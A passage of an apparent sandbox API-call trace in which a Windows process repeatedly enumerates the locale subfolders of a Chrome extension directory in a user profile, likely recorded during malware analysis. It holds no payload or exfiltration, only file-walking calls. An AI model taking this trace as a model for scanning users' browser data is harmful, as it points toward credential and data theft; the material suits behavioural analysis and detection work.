Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de" [0056.317] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de\\*.*" [0056.317] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\de\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.317] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.317] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.317] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.317] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.317] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.317] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.317] LocalFree (hMem=0x2dc218) returned 0x0 [0056.317] LocalFree (hMem=0x2dc100) returned 0x0 [0056.317] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.317] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.317] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.317] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.318] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.318] lstrlenA (lpString="\\") returned 1 [0056.318] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.318] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.318] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.318] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.318] lstrlenA (lpString="el") returned 2 [0056.318] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.318] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.318] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el" [0056.318] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.318] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el") returned 142 [0056.318] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el") returned 142 [0056.318] lstrlenA (lpString="\\*.*") returned 4 [0056.318] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.318] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el" [0056.318] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el\\*.*" [0056.318] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\el\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.318] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.318] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.318] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.318] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.318] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.318] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.318] LocalFree (hMem=0x2dc218) returned 0x0 [0056.318] LocalFree (hMem=0x2dc100) returned 0x0 [0056.318] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.318] lstrcmpiA (lpString1=".", lpString2="en") returned -1 [0056.318] lstrcmpiA (lpString1="..", lpString2="en") returned -1 [0056.318] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.318] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.318] lstrlenA (lpString="\\") returned 1 [0056.318] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.318] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.318] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.318] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.318] lstrlenA (lpString="en") returned 2 [0056.318] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.318] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.318] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="en" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en" [0056.318] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.318] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en") returned 142 [0056.318] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en") returned 142 [0056.318] lstrlenA (lpString="\\*.*") returned 4 [0056.318] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.318] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en" [0056.318] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en\\*.*" [0056.318] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\en\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.319] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.319] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.319] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.319] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.319] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.319] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.319] LocalFree (hMem=0x2dc218) returned 0x0 [0056.319] LocalFree (hMem=0x2dc100) returned 0x0 [0056.319] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.319] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.319] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.319] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.319] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.319] lstrlenA (lpString="\\") returned 1 [0056.319] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.319] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.319] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.319] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.319] lstrlenA (lpString="es") returned 2 [0056.319] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.319] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.319] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es" [0056.319] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.319] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es") returned 142 [0056.319] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es") returned 142 [0056.319] lstrlenA (lpString="\\*.*") returned 4 [0056.319] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.319] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es" [0056.319] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es\\*.*" [0056.319] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\es\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.319] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.319] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.319] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.319] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.319] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.319] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.319] LocalFree (hMem=0x2dc218) returned 0x0 [0056.320] LocalFree (hMem=0x2dc100) returned 0x0 [0056.320] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.320] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.320] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.320] lstrlenA (lpString="\\") returned 1 [0056.320] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.320] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.320] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.320] lstrlenA (lpString="fi") returned 2 [0056.320] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.320] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.320] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi" [0056.320] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi") returned 142 [0056.320] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi") returned 142 [0056.320] lstrlenA (lpString="\\*.*") returned 4 [0056.320] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.320] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 